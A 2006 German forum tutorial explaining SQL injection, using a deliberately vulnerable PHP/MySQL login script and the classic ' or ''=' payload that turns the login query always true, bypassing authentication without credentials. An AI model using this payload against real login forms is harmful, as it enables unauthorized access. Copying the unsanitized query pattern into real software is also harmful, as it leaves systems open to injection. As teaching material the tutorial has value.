[Hacking] SQL-Injection

Dieses Thema im Forum "Security Tutorials" wurde erstellt von myth2806, 7. Juni 2006 .

Status des Themas:
Es sind keine weiteren Antworten möglich.
  1. 7. Juni 2006
    SQL-Injection

    Hey leutz

    Dies ist mein erstes tut und hoffe dass ich alles was ich wiedergeben will auch richtig wieder geben kann da ich nicht so der bin der gut erklären kann XD

    Ich setzte in diesem tut ein kleines Basis-wissen in den Bereichen PHP und MySQL vorraus. Wer überhauot kein plan von diesen Themen hat, sollte sich erst darüber Informieren.

    Aber nun zum tut:


    Was ist SQL-Injection eigendlich?

    Wie man vlt schon an dem englischem wort "injection" (deu: "Einspritzung") vermuten kann, geht um das einschleusen von code durch wege die eigendlich nicht dafür vorgesehen sind.
    In diesem speziellen geht es um das einschleusen von ausführbaren MySQL-Querys die dann entweder den unautorisierten zugriff auf private bereiche ermöglichen oder das auslesen von Datanbank Inhalten ermöglicht. (ich werde nur auf ersteres eingehen da das tut sonst zu lang wird)


    Eigendliche "injektion"

    In den meisten Fällen wird die "Injektion" in Suchfunktionen benutzt, da ich aber denke dass es keinen großen sinn macht auf den code eines kompletten websiten-systems einzugehen, belasse ich es bei einer einfachen Passwort eingabe:

    login.php:
    Code:
    <HTML>
    <body>
    <FORM NAME="Login" METHOD="GET" ACTION="login.php">
    <INPUT TYPE="text" name="user" value="">
    <INPUT TYPE="password" name="pass" value="">
    <input type=submit class=button value="Login">
    </FORM>
    </body>
    </HTML>
    
    <?php
    
    $db = mysql_connect("localhost", "root", "pass");
    mysql_select_db("loginstuff",$db);
    
    $user = $_GET["user"];
    $pass = $_GET["pass"];
    
    if ($user != "" && $pass != "")
    {
     $result = mysql_query("SELECT permission FROM loginstuff WHERE user='$user' AND pass='$pass'",$db);
    
     if (mysql_fetch_row($result) != "")
     {
     Interner Bereich..... hier ist der user eingeloggt und der code wird weiter abgearbeitet
     }
    }
    
    ?>
    
    Der Code sollte relativ selbserklärend sein denke ich deswegen fange ich gleich damit an wo man eine "injektion" ansetzen könnte.

    Wir sehen das die eingabe in das user und das passwort feld in den variablen $user und $pass abgespeichert werden. Nun gucken wir uns das mysql_query an in dem ya die beiden variablen wieder vorkommen.
    Wenn wir jetzt überlegen dass in der variable auch zeichen wie " oder = stehen können dann springt der Groschen beim einem oder anderen schon XD.
    konkret:

    Code:
    $user = [' or ''='] ( ohne [])
    $pass = [' or ''='] ( ohne [])
    
    SELECT permission FROM loginstuff WHERE user='$user' AND pass='$pass'
    
    wird zu:
    
    SELECT permission FROM loginstuff WHERE user='' or ''='' AND pass='' or ''=''
    
    jetzt sollten alle die mit mysql-querys umgehen können wissen was im enteffekt heraauskommt.... richtig TRUE. und das ist ja auch schon alles was die if abfrage wissen will. wir haben uns eingeloggt ohne den benutzernamen und das passwort zu kennen .


    --------

    ich hoffe ich habe mich halbwegs verständlich ausgedrückt und konnte euch das ganze ein wenig erklären.

    vlt schrieb ich in der nächsten zeit mal einen zweiten teil hierzu um etwas spezieller darauf einzugehen



    greez myth

    Ps: wer fehler findet darf sie behalten
     
  2. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.